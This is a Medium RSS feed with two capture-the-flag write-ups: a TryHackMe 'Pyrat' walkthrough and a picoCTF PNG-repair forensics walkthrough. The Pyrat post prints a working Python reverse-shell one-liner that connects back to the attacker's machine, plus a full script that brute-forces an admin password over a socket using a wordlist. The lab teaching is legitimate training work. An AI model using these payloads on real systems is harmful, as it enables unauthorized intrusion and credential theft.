<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by MsProg on Medium]]></title>
        <description><![CDATA[Stories by MsProg on Medium]]></description>
        <link>https://medium.com/@mohammedsbihi11?source=rss-7a828fed3ec2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*TTxPhc3oX1JK04xdAcTGtw.jpeg</url>
            <title>Stories by MsProg on Medium</title>
            <link>https://medium.com/@mohammedsbihi11?source=rss-7a828fed3ec2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 13:42:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mohammedsbihi11/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Pyrat TryHackMe CTF]]></title>
            <link>https://medium.com/@mohammedsbihi11/pyrat-tryhackme-ctf-c6ee35ae4009?source=rss-7a828fed3ec2------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6ee35ae4009</guid>
            <dc:creator><![CDATA[MsProg]]></dc:creator>
            <pubDate>Sat, 05 Oct 2024 23:56:16 GMT</pubDate>
            <atom:updated>2024-10-05T23:56:16.712Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello People, In this write up I have covered a walk-through for the TryHackMe challenge called Pyrat. So let’s get started.</p><p><a href="https://tryhackme.com/r/room/pyrat"><em>link of the challenge</em></a></p><p><strong>Description: </strong>Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application’s older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.</p><p><strong>1 -Analyzing the description:</strong></p><p>→The is some think in the response of a HTTP server (Python code execution)</p><p>→ There is some credentials in a folder that we need to find it</p><p>→We need to find a special endpoint</p><p><strong>2-NMAP enumeration:</strong></p><pre>nmap -A -T4 10.10.118.186</pre><p><strong>Result:</strong></p><pre>22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)<br>|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)<br>|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)<br>8000/tcp open  http-alt SimpleHTTP/0.6 Python/3.11.2<br>|_http-server-header: SimpleHTTP/0.6 Python/3.11.2<br></pre><p>Accessing the port 8000 :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*rwDvUfE1cKoDV95w498GGw.png" /></figure><p>I tried Fuzzing folders same message “Try a more basic connection!” I tried inject python code in the URL but noting was working the more basic connection that a can in my head is using “nc”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/258/1*ZMrRI6CIksIsoXu26eonOQ.png" /></figure><p>noting was showing until write hello in the terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/277/1*n5pQeMn6nFYKc0yY-jTkpg.png" /></figure><p>It’s interpreting our text using python</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/246/1*afaiiA3HCQgdidKxVU2I4Q.png" /></figure><p>so using this <a href="https://www.revshells.com/">website</a> a get a verse shell using python</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*aRCT9OHDO4EoFKbiAdRn8w.png" /></figure><pre>import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.9.4.214&quot;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&quot;sh&quot;)</pre><p>In my other terminal :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/267/1*u8vhqC6hFQIR56c3nLOIPw.png" /></figure><p>I got a remote shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*8qTgkGAHu6tM-vYRQySJmg.png" /></figure><p>but this session doesn’t have permission to access the user “think” in home folder so the first think I did is to user <strong>linpeas.sh</strong> I went to tmp folder since I can get files without any permission and I wget linpeas.sh from my pc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*CLh9tFQkokC4yqsxPZIw3A.png" /><figcaption>from my pc</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*MwNrnIUbXByQxNyMW8-nuQ.png" /><figcaption>from the victim</figcaption></figure><pre>chmod +x linpeas.sh<br>./linpeas.sh</pre><p>the important thinks I got :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*XvuKde4zcmF4jM1lVaNGpg.png" /><figcaption>under :Running processes (cleaned)</figcaption></figure><p>the is python script under the root folder witch is the same folder of our HTTP server in the port 8000 I knew that using this test but we don’t have access to the root folder but 90% this file who is responsible for the HTTP server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/263/1*bXnACjUE5sZhfFwo3TVuAg.png" /></figure><p>the second important think :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*pt2B7k53x7BcGI3kSKChgg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*sXN400I7KYGDe8wxmy3Q-w.png" /></figure><p>we got a password of think and a user email “<strong>josemlwdf@github.com</strong>”</p><p>It’s appearing this this is the password of Think session</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*6jnO5B3bCGw7JkiBk9JU4Q.png" /></figure><p>and we got the first flag in think home folder</p><p>exploring more this result of <strong>linpeas:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*X7gaThI4hpKyLSI4NAFCLw.png" /></figure><p>the is a mail let’s see what inside it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*xx0JQqIi5Qhbu2IvmZ9aKg.png" /></figure><p>when we went back to the running processes we found our first finding</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*XvuKde4zcmF4jM1lVaNGpg.png" /><figcaption>under :Running processes (cleaned)</figcaption></figure><p>since in the email he talked about a RAT that has been installed from a github page of some one called “<strong>jose</strong>” and previously we found github information about jose he has github Address : <strong>josemlwdf@github.com</strong></p><p>lest search in the browser : “josemlwdf pyrat.py github”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*ZplGCT9dAhmzTpuXfKtoGw.png" /></figure><p>under this repo I found the pyrat.py code source and this is the code responsible of the message that we got in response of a HTTP request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*p9ZZeBkELjKk8UO3-XxtyA.png" /></figure><p>Analyzing the rest of the code :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*6zdzHn_SVkIHb1HcCDm4HQ.png" /></figure><p>trying to send admin it asking for a password :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/253/1*da39t-Tq_CuKfpdM0mUOtg.png" /></figure><p>we need fuzzing passwords.</p><pre>import socket<br>import time<br><br><br>host = &#39;10.10.106.2&#39;<br>port = 8000<br><br><br>with open(&#39;/usr/share/wordlists/rockyou.txt&#39;, &#39;r&#39;, encoding=&#39;latin-1&#39;) as file:  <br>    passwords = file.readlines()<br><br>def attempt_login(password):<br>    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:<br>        s.connect((host, port))<br><br><br>        s.sendall(&quot;admin\n&quot;.encode(&#39;utf-8&#39;))  # send &quot;admin&quot; to server<br><br>        # Get responce from server<br>        response = s.recv(1024).decode(&#39;utf-8&#39;, errors=&#39;replace&#39;)  <br>        print(f&quot;Réponse du serveur après envoi de &#39;admin&#39;: {response}&quot;)<br><br>        if &quot;Password:&quot; in response:  <br>            print(f&quot;Tentative avec le mot de passe : {password}&quot;)<br>            s.sendall((password + &quot;\n&quot;).encode(&#39;utf-8&#39;)) <br>            response = s.recv(1024).decode(&#39;utf-8&#39;, errors=&#39;replace&#39;)  <br>            print(f&quot;Réponse du serveur : {response}&quot;)<br>            return &quot;Welcome Admin&quot; in response<br>    return False<br><br>for password in passwords:<br>    password = password.strip()  #<br>    success = attempt_login(password)<br>    if success:<br>        print(f&quot;Mot de passe trouvé : {password}&quot;)<br>        break<br>    time.sleep(1) </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*6u4NyptHB5ZZ8EDN79iHyw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*Akg5wUF1ln14ABkx2HLGvg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/399/1*6PKETEh9UAopdAFtxUCk5g.png" /></figure><p>And we get access to the root and we got the last flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/313/1*pnSQO2QRq1o0MOD2ySfobA.png" /></figure><h3>Thank You</h3><p>Don’t forget to like and Follow me :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6ee35ae4009" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[picoCTF -‘c0rrupt’ walkthrough]]></title>
            <link>https://medium.com/@mohammedsbihi11/picoctf-c0rrupt-walkthrough-9b40ac5b1ccc?source=rss-7a828fed3ec2------2</link>
            <guid isPermaLink="false">https://medium.com/p/9b40ac5b1ccc</guid>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[walkthrough]]></category>
            <dc:creator><![CDATA[MsProg]]></dc:creator>
            <pubDate>Fri, 26 Jan 2024 21:30:26 GMT</pubDate>
            <atom:updated>2024-10-05T22:44:33.530Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello People, In this write up I have covered a walk-through for the picoCTF challenge called c0rrupt. So let’s get started.</p><p><strong>Type: </strong>Forensics, 250 points.</p><p><strong>Description:</strong>We found this file. Recover the flag.</p><p><strong>Hint : </strong>Try fixing the file header</p><p><a href="https://play.picoctf.org/practice/challenge/53?category=4&amp;page=3"><em>link of the challenge</em></a></p><h3>1. Information Gathering</h3><p>I started by knowing the type of the file since there is a interrogation point on the file icon</p><pre>file mystery</pre><p>the output is data. When the file command displays &quot;data&quot; as the result, it generally means that the file&#39;s content doesn&#39;t match any specific format recognizable by the file command. This can happen if the file is binary, lacking identifiable headers or structures, or if it&#39;s corrupted.</p><p>let’s check the head of the Hex code of this file</p><pre>xxd mystery | head</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*rwJAVUvPya8qM4Q-n6YFGg.png" /><figcaption>Result:</figcaption></figure><p>normally the first bytes of the Hex output specify the type of the file in this case it’s ‘<strong>eN4</strong>’ witch does not have any meaning. using this web page I can find same think close to this header signature <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">source</a> you can search on the first bits of the hex file you can see that the <strong>PNG</strong> one is the close one .</p><p>89 50 4E 47 0D 0A 1A 0A</p><p>Using <strong>hex editor</strong> tool :</p><pre>hexeditor mystery</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*kVop45STsxz6p3BPIg_oGA.png" /></figure><p>After the header come a series of chunks. Each chunk has in the order</p><ul><li>4 bytes for the length of the chunk,</li><li>4 bytes for the type, then the chunk content itself (with the length declared earlier)</li><li>4 bytes of a checksum.</li></ul><p>as you can see from this image :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*oli-d4gXsY_5vYa1WMgWwA.png" /></figure><p><strong>The first</strong> chunk is IHDR and has the length of 0xD, In hex IHDR=49 48 44 52 so let&#39;s fix that as well and rename the file with .png extension .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*c4ZU9IhMnqvp8J6fTt_8kw.png" /></figure><p>After this modification, let’s try to open the image, and you will notice that there is an error. Let’s see what the problem is using this command :</p><pre>pngcheck -v mystery2.png</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*VovSFvhJus6xX4N4wzzGrw.png" /></figure><p>This tool checks all the chunks of the Hex file, and we have a CRC error in the pHYs chunk. So, we need to find the bits of the pHYs chunk. We see that it’s at the offset 0x00042, but we know that the chunk starts with 4 bits of the length, so it starts at 0x0003e:</p><pre>xxd -g 1 -s 0x3e -l $((4+4+9+4)) mystery2.png</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*NUGUbNtCGMFYmHGmJAn-uA.png" /><figcaption><strong>length (</strong>00 00 00 09<strong>) / type</strong> (70 48 59 73)<strong>/data</strong> (aa 00 16 25 00 00 16 25 01)<strong>/CRC</strong> (49 52 24 f0)</figcaption></figure><p>pngcheck says that the expected checksum as stated in the file (0x495224f0) doesn&#39;t match the computed checksum. Therefore, either the checksum is corrupted, or the data is.</p><p>The definition of pHYs is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*6Amv9iGoljuipZPAYTdqSA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*-TR4GXpfXdTezhSo_2L0Og.png" /><figcaption><strong>data</strong> (aa 00 16 25 00 00 16 25 01)</figcaption></figure><p><strong>X axis and Y axis</strong> ,it is common for these two values ​​to be the <strong>same</strong> to avoid problems let’s fix this problem by replacing 0xaa by 0x00 .</p><p>after modification in Hex code :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*RlDdY_Nm9q1ceXD71Ll2pQ.png" /><figcaption><strong>data</strong> (00 00 16 25 00 00 16 25 01)</figcaption></figure><p>let’s check an other time the png file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*v7m8K-XZEIS5FLbifL6eyw.png" /></figure><p>That fixed the problem, we remain with a “invalid chunk length (too large)” message.</p><p>Let’s take a look at what starts after the pHYs chunk ends, since he ends at the 0x3e+0x4+0x9(length of the data)+0x4(CRC) =0x53 :</p><p>you can use <a href="https://www.ma-calculatrice.fr/addition-soustraction-hexadecimal">this</a> web tool to do operations on hex values</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*n3U3Hh3cOG6EecqS7yUyZg.png" /><figcaption><strong>8=4(length)+4(type)</strong></figcaption></figure><p>We have a chunk of size 0xaaaaffa5 which is very large, and a type of 0xabDET which doesn&#39;t exist. The closest chunk type is IDAT, let&#39;s try to fix that first:</p><p>In hex IDAT = 49 44 41 54</p><p>use always this tools to edit HEX code:</p><pre>hexeditor mystery2.png</pre><p>the result should be like that:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*wAAQTHgknBhwMb2aXsyazw.png" /></figure><p>Viewing the image, we get the flag: picoCTF{c0rrup.........}.</p><h3>Thank You</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9b40ac5b1ccc" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>